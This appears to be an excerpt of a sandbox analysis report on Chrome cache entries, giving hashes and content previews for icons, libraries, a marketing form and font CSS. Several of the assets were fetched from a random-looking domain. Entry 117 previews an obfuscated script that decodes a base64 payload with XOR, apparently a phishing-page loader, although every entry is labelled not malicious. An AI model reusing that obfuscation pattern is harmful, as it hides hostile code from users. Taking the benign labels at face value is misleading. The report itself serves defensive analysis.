Chrome Cache Entry: 102

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/eftMAJHTBnysRGQKrxyJ63mOX7yU8KOklytyEGBc4earPa90145
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 103

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.573165690842521
Encrypted:	false
SSDEEP:	12:6v/70lGN4n6OF/Y9jJ6xmOLY3cyWiJBYmH7xCZm1Uvleq8AM8Tkbc0:HudJ6xU3fWU1HsZm1Wleq8t5b/
MD5:	839CB0F55C3D2D5C2F740BDA95CB2878
SHA1:	93F6FA3A2DA8B7184D4B5C5F2065872793370C2E
SHA-256:	40ECB8832F6A9A8AAA0CC6E1287E867A4FCA38433D091D86C6CAB1F28FBAB652
SHA-512:	ECBCA8AB21BF3302C88F933CFD248CFF5553AFE152A170F554C27FD67BDC3E7D8CE79E202561FD0658E41820681EB90F74E38FD09390C517AFB34D2C1B65A096
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......IDAThC.Q.1.E.......`... .............T...:....7r....sw;Y.h..dK__.........M.v.....@a....j..P.;..K....^%..m...Nn.......y..l.]@..z.T..X..e...DZ.$Y......o`.L@`..r.0...s8Bd...1..M.=.A...a.'./...O....@4.mk..2.\..H.ER...e....s...`._.;..5n...X\|o..K....w...8........i8L..6P\|r9.=!...j..........~X{.Y.5X....4...v.Z.&.... ..)..ZXJ.8..... ..-p.9t.N...r.[..t....=\ >pLg%m..@........8o.).%..S...d.E\|%.......5.p..QK0Z<...0...:Q...<.m^<.y....7..#r..Qm...DZ..}.5.c.&.....0..Wr.....w.f-.n... .-..,l..0..3...E..4k.~..Y.B:t.*}.L..z..U.b......s............w.(......jt.Z5.7..8........0...?..1.w."&......8j.5vO.<..OgSM.j%..u..E=:..XJ==.....(...30.(....O)41P.....pkQ@f.S.....IEND.B`.

Chrome Cache Entry: 104

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 105

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1048)
Category:	dropped
Size (bytes):	29039
Entropy (8bit):	4.476700154217347
Encrypted:	false
SSDEEP:	192:lHVYB4GEwZT1TpSGCeRH8u/Lj7Ma9xPcjBsvLNrqbVb+6JknFjlirg1qaR3H0ZP7:Y4V4iCqaRXqBLf
MD5:	AFE596D22E03E70224D688182A7BAD30
SHA1:	17182642B506F044830CA2D757C0D65F9487B99D
SHA-256:	B974B1D98F710416C1561362ADA61FF80672B9CF6BCBF0BB4F35D0C34D037284
SHA-512:	A81FF344FB3D3FE3EE6D165A7DD78617FF537957EAB4C9523EEE25509726039986B8818FFCA59E8B245ECD06BB3A6A9F249060F184869762C50B189A97CCF397
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html><html><head>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Marketing Form</title>. <meta name="referrer" content="never">. <meta type="xrm/designer/setting" name="type" value="marketing-designer-content-editor-document">. <meta type="xrm/designer/setting" name="layout-editable" value="marketing-designer-layout-editable">. <style>. .editor-control-layout html {. box-sizing: border-box;. background-color: #fff;. }. .editor-control-layout ,. .editor-control-layout :before,. .editor-control-layout *:after {. box-sizing: inherit;. }.. .marketingForm h1 {. color: #000;. margin: 0px;. padding: 0px;. width: 100%;. font-family: "Segoe

Chrome Cache Entry: 106

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2446 x 899, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	70712
Entropy (8bit):	6.94130504124589
Encrypted:	false
SSDEEP:	768:lBgPNoDCQcgEBtp8Y/fYous0+W/+hVNpTrP19NhgtJ+6qcHaDCzGoSRug:lBgC+Qoju/szW/SNDaJ+6qc6DESR5
MD5:	F70FF06D19498D80B130EC78176FD3FF
SHA1:	9D8A3B74C5164FF7AE2C7930B6D7B14707B404FC
SHA-256:	DF6DBAB5251E56B405E48AAF57D3CD4188F073FFBA71131FA6CD26E6742923AE
SHA-512:	543151693C3751A7E6B1B6A9EA77B83CFD049BC320EE75B666514076F4C0218E9DC23DA5E6C932B2B8670AA1BE1D4E9A91A889F5C6F0D7B9F9C9FE6694609B31
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................... .IDATx....q......!8.on.....{....4{..{U.A!x...t3P.~.S86...N....7USM....p.".?..>.G....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @.......

Chrome Cache Entry: 107

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1048)
Category:	dropped
Size (bytes):	29039
Entropy (8bit):	4.476700154217347
Encrypted:	false
SSDEEP:	192:lHVYB4GEwZT1TpSGCeRH8u/Lj7Ma9xPcjBsvLNrqbVb+6JknFjlirg1qaR3H0ZP7:Y4V4iCqaRXqBLf
MD5:	AFE596D22E03E70224D688182A7BAD30
SHA1:	17182642B506F044830CA2D757C0D65F9487B99D
SHA-256:	B974B1D98F710416C1561362ADA61FF80672B9CF6BCBF0BB4F35D0C34D037284
SHA-512:	A81FF344FB3D3FE3EE6D165A7DD78617FF537957EAB4C9523EEE25509726039986B8818FFCA59E8B245ECD06BB3A6A9F249060F184869762C50B189A97CCF397
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html><html><head>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Marketing Form</title>. <meta name="referrer" content="never">. <meta type="xrm/designer/setting" name="type" value="marketing-designer-content-editor-document">. <meta type="xrm/designer/setting" name="layout-editable" value="marketing-designer-layout-editable">. <style>. .editor-control-layout html {. box-sizing: border-box;. background-color: #fff;. }. .editor-control-layout ,. .editor-control-layout :before,. .editor-control-layout *:after {. box-sizing: inherit;. }.. .marketingForm h1 {. color: #000;. margin: 0px;. padding: 0px;. width: 100%;. font-family: "Segoe

Chrome Cache Entry: 108

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 109

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65461)
Category:	downloaded
Size (bytes):	711081
Entropy (8bit):	5.444336573525724
Encrypted:	false
SSDEEP:	3072:Ns0tPO7ZVKF61InSjikH0Gu0r2ee6PnBdHQdU1HECHttsMkO3bBqMG/+9coZukG6:N7tPOCWPQdUzCO3bBL9jZVGiMRlRhxkR
MD5:	FDC2BE4EB54FF521EB5F6CA57AEDAE03
SHA1:	580FEFB1274BB5A21E34DC206D3F042512CA2EDC
SHA-256:	36C366BC39F4B2EB17CC2EAC87B9B94199CB4DFC0FF9F3D8A2F4C2EADE1BB9C3
SHA-512:	42939CBF474C6593774F5B5FF13A5E9FCDDE7CAAE05229CBE9804C1368337B892EB3ED96CA85133A34AC0551696B4995EA203773B474BF31E50780BF9BDD53C2
Malicious:	false
Reputation:	low
URL:	https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js
Preview:	/! For license information please see FormLoader.bundle.js.LICENSE.txt /.var d365mktforms;(()=>{var e,t,n={317:function(e,t){var n="undefined"!=typeof self?self:this,r=function(){function e(){this.fetch=!1,this.DOMException=n.DOMException}return e.prototype=n,new e}();!function(e){!function(t){var n="URLSearchParams"in e,r="Symbol"in e&&"iterator"in Symbol,i="FileReader"in e&&"Blob"in e&&function(){try{return new Blob,!0}catch(e){return!1}}(),a="FormData"in e,o="ArrayBuffer"in e;if(o)var s=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],u=ArrayBuffer.isView\|\|function(e){return e&&s.indexOf(Object.prototype.toString.call(e))>-1};function c(e){if("string"!=typeof e&&(e=String(e)),/[^a-z0-9\-#$%&'*+.^_`\|~]/i.test(e))throw new TypeError("Invalid character in header field name");return e.toLowerCase()}function l(e){return"strin

Chrome Cache Entry: 110

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 111

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45667)
Category:	downloaded
Size (bytes):	45806
Entropy (8bit):	5.207605835316031
Encrypted:	false
SSDEEP:	384:1ZS0CCnasl8gRR/PoPez+iCMN0Fkiw2Jh4RWdRGhAjbp2ChPL8cYRGv5MRUK6np9:/CCnVl7tUkBxkdRGOfDiY5C5MAn5GY2
MD5:	80F5B8C6A9EEAC15DE93E5A112036A06
SHA1:	F7174635137D37581B11937FC90E9CB325077BCE
SHA-256:	0401DE33701F1CAD16ECF952899D23990B6437D0A5B7335524EDF6BDFB932542
SHA-512:	B976A5F02202439D94C6817D037C813FA1945C6BB93762284D97FF61718C5B833402F372562034663A467FDBAA46990DE24CB1E356392340E64D034E4BA1B4E4
Malicious:	false
Reputation:	low
URL:	https://cdn.socket.io/4.6.0/socket.io.min.js
Preview:	/!. Socket.IO v4.6.0. * (c) 2014-2023 Guillermo Rauch. * Released under the MIT License.. */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).io=e()}(this,(function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function n(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function r(t,e,r){return e&&n(t.prototype,e),r&&n(t,r),Object.defineProperty(t,"prototype",{writable:!1}),t}function i(){return i=Object.assign?Object.assign.bind():function(t){for(var e=

Chrome Cache Entry: 112

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 113

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:	24:rIcdIg4GFKiUqLRfqX5Cbg2tRSpGHM0RMrB6nzU9Jd28VVdYfWZG0rrZgqhpT:rHUZGRNEoSpGHMTrB6zUXdNVSi1b
MD5:	333EE830E5AB72C41DD9126A27B4D878
SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/klyBe9NSOrY8ZijzQ3s7K3pEH9RWbxIXvopZVhYNMAY8ePNOIX2EwQcv1AjXiyHXEA9yz228
Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 114

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 84 x 31, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPl8QUikxl/k4E08up:6v/lhPaQUik7Tp
MD5:	805EFD1E89C96D3FDBA241BB93041BB3
SHA1:	B3BA80E1DBDB19F8BFAC925739FD6B363F9C8FE5
SHA-256:	8BA201013EB6F86A7258130A574A156699AF35C6703BEC72F7E1870734D26A6A
SHA-512:	4277EA623B09A079C5367DBAF227776CAA67CC4FBEE0DF7987918DF9C44A76687D1B8010C0030C0A5A7D0C77470AF5F08927D82F5B629377FDEAC9939CDCFDA3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...T...........}9....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 115

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1437), with CRLF line terminators
Category:	downloaded
Size (bytes):	38221
Entropy (8bit):	5.115226983536052
Encrypted:	false
SSDEEP:	192:loogIexLQ5WKTCFBwCIZtJ8FtX2+UBRkfeWcrScuH9Ye3YdersR8Q5oqWjf7ogxp:2DKAaZtJs5odw7hx5P6mqjDggJkLLn
MD5:	FBE2FCF4596B299453C91B7231BA7427
SHA1:	743291EE60A551E043529AFDC9E3FBE72D70E776
SHA-256:	2DE22B4CDEDCBEB9CD5F63EA7A0DF8F77D0EF9086D200B052BFA9EE949DEED40
SHA-512:	15CA09CD5754927D77B2CC9B74356585C5A1DD934ECF25B613F47964236A739DA8BE389999DE1AEEE7BDF8FA12FCBB07EEFF49E0EA80BA87AC786606DE74774F
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/xydUz5DTJCpqPef27
Preview:	@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 400;src: url('/web8/assets/fonts/GDSherpa-regular.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-regular.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 999;src: url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;src: url('/web8/ass

Chrome Cache Entry: 116

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/yz5PZPtwocgsIPZRmHcNESROmn19TJ53vuPbrfs9jTab175
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 117

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1445), with CRLF line terminators
Category:	downloaded
Size (bytes):	1812
Entropy (8bit):	5.960678165910732
Encrypted:	false
SSDEEP:	48:7I779CnmbNJZx+QcbJMOP58cnWNTr1BwkAZ:SvbNJ7+Qcp5oNTr1Y
MD5:	1EA5C56321EC59B0AEADF973E3B317FE
SHA1:	5458831CA2FB9E455CC6A55FEEA81056F2B2788F
SHA-256:	E9AE977E87D6E349230D0BFDC2973878EA0B3FE115E5969E77E73B6CC4314500
SHA-512:	778A6AA4A98E011004D52F52A5509023D36B62E0746056797976BAC8602B4D66BDC8AD1CC0B9698019929474780E89A2817A9717D4B55B815129511C28DC58E0
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/O5u7Gw/
Preview:	<script>..function KkpYJCZVpA(gdawVeIxFi, QXUridvIlo) {..let LsOxBdECri = '';..gdawVeIxFi = atob(gdawVeIxFi);..let CskMPnKlyi = QXUridvIlo.length;..for (let i = 0; i < gdawVeIxFi.length; i++) {.. LsOxBdECri += String.fromCharCode(gdawVeIxFi.charCodeAt(i) ^ QXUridvIlo.charCodeAt(i % CskMPnKlyi));..}..return LsOxBdECri;..}..var sYHHwlgwSH = KkpYJCZVpA(`dQAZOS9BEktmMj8SCGs2UDEvJ2wLCik6ZgxGAgJWLRwNZSpeBRQfUSYdVCMnQg5bGE0rAA45bgBPTmYyLwYUKDJYCRtLaTEnDSAJRRAGMxAlHRUuAUUlEQFKYFMBRkwRRlVLTDsKWjBLO0ZVSxhpU1prNFQSABlWaREOJCcZBwEEWmEfFCQjdhI2D1I7WlNrewxGGQVXLDQOCCJbFE5mMmlTWms7EQUUH1shU1IuNENPVRA1Q1Naa2YRRlVLSiwHDzkoEQAUB0ssSHdBZhFGVRY1Qw53QS9XTgUKbxM/Lgk/YhdVVgVpUVhiPTxsVUsYaQQTJSJeEVsHVyoSDiIpX0gdGV0vU0drMVgIEQRPZx8VKCdFDxoFFjkSDiMoUAsQSxNpUUVpZhpGVwEacn5wNks7DxNDSCgkIAcScx8mGhhoTkdrZBNPDmYyaVNaay9XRl06QB0EEQQyRxUtQ0goJCAHEnMfJhoRYFMBRkwRRlVLTigBWj4QXBM+A20RHBBrexEHAQRaYQMbHBx9MjcSazhaQUZMEUZVS04oAVoZM0gKHBpqHxQra3sRTgA9VTw4Eh4eXgxbBlk9EBJjaRk9KRwWZC5RCx1QSw8qFRNDV3JoHDteNxYSElcxBxw8RUYBFAhI

Chrome Cache Entry: 118

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1174 x 1108, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28014
Entropy (8bit):	7.545481493741092
Encrypted:	false
SSDEEP:	768:vtN2kof6LNmWXVRxDasc6ABdMMm8TnXo5h2wfS:VJNJXVRxW56ABqMhTn45h2j
MD5:	FECB0411A485ED218C2BF65240C02CD0
SHA1:	B872806B3ADDB4D237A2C9CE7E45B7945255FE68
SHA-256:	E5EA17671E0209051C3AF5F62EE1C72867909650FA85563FD663F2BF90E36422
SHA-512:	A2D59B24C00FDC33C35C72F5818F8595044C733A5CC2C5AFAC1E16D7E17200A6AA2CBDCFBE94125CEE5376DDF7CC949D779D2AF74DACEBA6A8B4A55AEC69CDB3
Malicious:	false
Reputation:	low
